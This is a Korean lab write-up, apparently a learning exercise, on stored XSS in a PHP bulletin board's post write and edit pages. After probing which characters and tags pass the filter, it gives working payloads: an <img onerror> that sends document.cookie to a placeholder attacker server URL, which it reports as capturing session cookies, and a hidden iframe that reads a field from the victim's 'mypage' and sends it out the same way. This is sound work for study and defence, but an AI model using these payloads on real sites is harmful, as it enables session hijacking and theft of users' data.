| 발생위치 | URL |
|---|---|
| 글쓰기 처리페이지 | http://URL/notice_write_process.php |
| 글수정 처리페이지 | http://URL/notice_update_process.php |
-> 서버에 임의의 스크립트를 저장
-> 해당 페이지에 접근하는 클라이언트에게 저장된 스크랩트 실행
-> 입력값과 출력값이 같은페이지에 일어나지 않아도됨
--> reflected XSS는 입력값과 출력값이 같아야함
-> 광범위하게 퍼짐
--> 위험
<,',",> 넣어보기글수정 페이지에 <,',",>삽입 |
|---|
![]() |
| 글읽기 페이지에서 확인 |
|---|
![]() |
<,',",> 모두 사용할 수 있음<script>, <img>,alert()삽입| 글수정 페이지에 스크립트 삽입 |
|---|
![]() |
| 글읽기 페이지에서 확인 |
|---|
![]() |
<script> -> <>출력 -> 사용불가alert() -> 나타나지 않음 -> 사용불가<img> -> <img> 출력-> 사용가능Document.cookie로 쿠키 가져오기<img>태그와 prompt()함수를 활용<img src=x/>삽입| 글수정 페이지에 스크립트 삽입 |
|---|
![]() |
| 글읽기 페이지에서 확인 |
|---|
![]() |
| prompt 작동확인 |
|---|
![]() |
<img>을 쓴 이유
-> <script>를 사용할 수 없기 때문
prompt를 쓴 이유
-> alert을 쓸 수 없기 때문
<img>태그를 숨기기<img>가 나타남<img>태그에 style="display:none;" 삽입<img>태그 error | 스크립트 삽입 후 |
|---|---|
![]() | ![]() |
new Image() 함수를 활용good"/><img+src=x+onerror="new+Image().src='공격자서버URL?cookie='%2Bdocument.cookie삽입| 글수정 페이지에 스크립트 삽입 |
|---|
![]() |
| 글읽기 페이지에서 확인 |
|---|
![]() |
| 공격자 서버에서 확인 |
|---|
![]() |
| TEST |
|---|
![]() |
| 공격자 서버에서 확인 |
|---|
![]() |
세션ID가 포함된 쿠키정보 탈환성공
iframe태그 사용 <iframe src="Mypage URL"></iframe>| 글수정 페이지에 스크립트 삽입 |
|---|
![]() |
| 글읽기 페이지에서 확인 |
|---|
![]() |
| 공격자 서버에서 확인 |
|---|
![]() |
test<iframe src="http://mypageURL/xss_5/mypage.php" id ="plz" style="display:none;"></iframe>
<img src=x onerror="document.getElementById('plz').onload=function(){let target = document.getElementById('plz'); let DOM = target.contentDocument; let want = DOM.getElementsByName('info'); prompt(want[0].placeholder);}" style="display:none;">
| 글수정 페이지에 스크립트 삽입 |
|---|
![]() |
| 글읽기 페이지에서 확인 |
|---|
![]() |
| prompt로 확인 |
|---|
![]() |
new Image로 서버에 데이터 전송prompt(want[0].placeholder);를 빼고 new Image().src='공격자서버URL?info='+want[0].placeholder; 삽입| 공격자서버 확인 |
|---|
![]() |